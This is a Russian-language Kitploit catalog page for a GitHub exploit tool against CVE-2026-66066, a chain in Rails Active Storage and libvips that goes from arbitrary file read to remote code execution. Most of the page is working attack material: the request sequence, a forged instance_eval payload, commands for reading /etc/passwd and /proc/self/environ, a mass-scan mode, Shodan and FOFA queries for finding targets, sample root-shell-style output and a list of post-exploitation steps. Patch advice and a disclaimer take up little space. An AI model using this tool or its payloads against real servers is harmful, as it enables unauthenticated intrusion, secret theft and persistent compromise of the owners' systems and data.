Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66066 — CVE-2026-66066 — KindaRails2Shell: произвольное чтение файлов в Rails Active Storage/libvips → RCE. Файл с двойной идентичностью MATLAB/HDF5 → кража SECRET_KEY_BASE → поддельная вариация. CVSS 9.5 | Rails < 8.1.3.1 | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-66066
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: произвольное чтение файлов в Rails Active Storage/libvips → RCE. Файл с двойной идентичностью MATLAB/HDF5 → кража SECRET_KEY_BASE → поддельная вариация. CVSS 9.5 | Rails < 8.1.3.1

Репозиторий
111 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-66066 — KindaRails2Shell

Rails Active Storage/libvips: произвольное чтение файлов → кража SECRET_KEY_BASE → RCE


Обзор

CVE-2026-66066 — это цепочка уязвимостей критической степени серьёзности (CVSS 9.5) от произвольного чтения файлов до удалённого выполнения кода без аутентификации в Active Storage фреймворка Ruby on Rails, затрагивающая Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 и 8.1.0–8.1.3 в их конфигурации по умолчанию.

Уязвимость использует путаницу парсеров на четырёх уровнях между Rails, libvips, libmatio и HDF5. Специально сформированный файл с заголовком MATLAB 5.0 (удовлетворяющим условиям сниффера libvips) и контейнером HDF5 v7.3 (маршрутизируемым libmatio) содержит внешний набор данных, указывающий на произвольный путь к файлу на сервере. Когда ActiveStorage обрабатывает этот файл как вариант изображения, байты целевого файла становятся пикселями изображения — что позволяет произвольно читать файлы без аутентификации.

После восстановления SECRET_KEY_BASE из /proc/self/environ или файлов учётных данных злоумышленник вычисляет ключ верификатора Active Storage и подделывает подписанный JSON-вариант, содержащий instance_eval, достигая удалённого выполнения кода.

Затронутые установки: 500K+ приложений на Rails (в Rails 7+ по умолчанию variant_processor = :vips) Обнаружено: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, июль 2026 Патч: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 июля 2026)

Затронутые версии

ВеткаУязвимые версииИсправленные версии
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x затронут только при ручном включении variant_processor = :vips.

Обнаружено: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph Эталонный PoC: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


Механизм уязвимости

Первопричина: путаница парсеров на четырёх уровнях

Эксплойт объединяет два независимых расхождения в определении типа контента между четырьмя компонентами:

root@kitploit:~
Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

Файл с двойной идентичностью

«Ни один легитимный генератор файлов не выдаёт одновременно MATLAB 5.0 в байте 0 и 0x0200 в байте 124».

Почему это работает

  1. Объявленный клиентом content_type — Blob#variable? доверяет столбцу базы данных, заполняемому при прямой загрузке. Байты файла не проверяются.
  2. Автоопределение libvips — Vips::Image.new_from_file перебирает загрузчики; сниффер matload проверяет только 10 байт.
  3. Диспетчеризация версии libmatio — байты 124–125 определяют парсер; 0x0200 выбирает бэкенд HDF5 независимо от описательного текста.
  4. Внешние наборы данных HDF5 — H5Pset_external позволяет размещать необработанные байты набора данных в произвольном внешнем файле. libmatio вызывает H5Dread, не проверяя H5Pget_external_count.
  5. Ключи вариантов не привязаны к blob — извлечённый ключ варианта подписывает только преобразование, а не идентификатор blob, поэтому его можно повторно использовать для любого загруженного blob.
  6. В трансформере Vips отсутствует список разрешённых методов — Transformers::Vips наследует validate_transformation от базового класса, который блокирует только combine_options. Произвольные имена методов передаются в .

Схема атаки

root@kitploit:~
1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

Проверенные ссылки на исходный код


Установка

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

Использование

root@kitploit:~
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

Аргументы

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Доказательство концепции

Одиночная цель

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.example.com
root@kitploit:~
  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5

  Host          : rails-app.example.com
  Rails         : YES
  ActiveStorage : YES
  File Read     : YES
  SECRET_KEY    : a1b2c3d4...
  RCE           : YES

  RCE Output:
  uid=1000(rails) gid=1000(rails) groups=1000(rails)
  rails-prod-01

Только чтение файлов

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ

FOFA / Shodan

root@kitploit:~
FOFA:   body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"

Влияние

Успешная эксплуатация даёт удалённое выполнение кода от имени пользователя процесса Rails:

  • Извлечь SECRET_KEY_BASE → подделать подписанные cookie, сессии и токены ActiveStorage
  • Расшифровать credentials.yml.enc → пароли баз данных, ключи облачного хранилища, токены сторонних API
  • Получить доступ ко всем данным приложения через консоль Rails с помощью поддельных сессий
  • Совершить пивотинг к внутренним сервисам, доступным с хоста Rails
  • Развернуть постоянные бэкдоры через cron, SSH-ключи или веб-шеллы уровня приложения

Учётная запись в приложении не требуется — конечная точка прямой загрузки по умолчанию принимает неаутентифицированные запросы.


Исправление (Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1)

Исправление блокирует недоверенные загрузчики libvips:

root@kitploit:~
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1

Это не позволяет matload, svgload, fitsload, niiload, radload и openslideload обрабатывать недоверенные входные данные. Обновитесь до Rails 7.2.3.2, 8.0.5.1 или 8.1.3.1. Требуются libvips >= 8.13 и ruby-vips >= 2.2.1.

После установки патча: выполните ротацию всех секретов, доступных для чтения процессу Rails, — SECRET_KEY_BASE, RAILS_MASTER_KEY, учётные данные баз данных и ключи облачного хранилища.


Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.

Не используйте против систем без явного разрешения владельца. Авторы не несут ответственности за неправомерное использование.


Ссылки


Обнаружено Ethiack Research Team + RyotaK + bl0rph. Не связано с Ruby on Rails.

Скачать инструмент
БайтыНазначениеЗначение
0–9сниффер libvipsMATLAB 5.0
10–123заполнениеПробелы
124–125диспетчер libmatio0x0200 (HDF5 v7.3)
126–127маркер порядка байтов0x4d49 (IM)
128–511пользовательский блок HDF5Заполнение
512+суперблок HDF5Контейнер с внешним набором данных
Vips::Image.public_send
ФайлНазначение
activestorage/app/models/active_storage/blob.rbvariable? доверяет столбцу content_type
activestorage/app/models/active_storage/blob/representable.rbМаршрут представления независимо резолвит blob и вариант
activestorage/app/models/active_storage/variation.rbdecode проверяет ключ варианта; перекрёстная ссылка на blob отсутствует
image_processing/lib/image_processing/transformers/vips.rbНет списка разрешённых методов — наследует поведение базового класса
libvips/foreign/matload.cvips__mat_ismat проверяет только первые 10 байт
РесурсСсылка
Уведомление о безопасности RailsGHSA-xr9x-r78c-5hrm
Эталонный PoC (0xsha)KindaRails2Shell
Исследование Ethiackkindarails2shell
Форензика Railsrails-forensics-CVE-2026-66066
Модуль Metasploitrapid7/metasploit-framework#21733
CWE-94Внедрение кода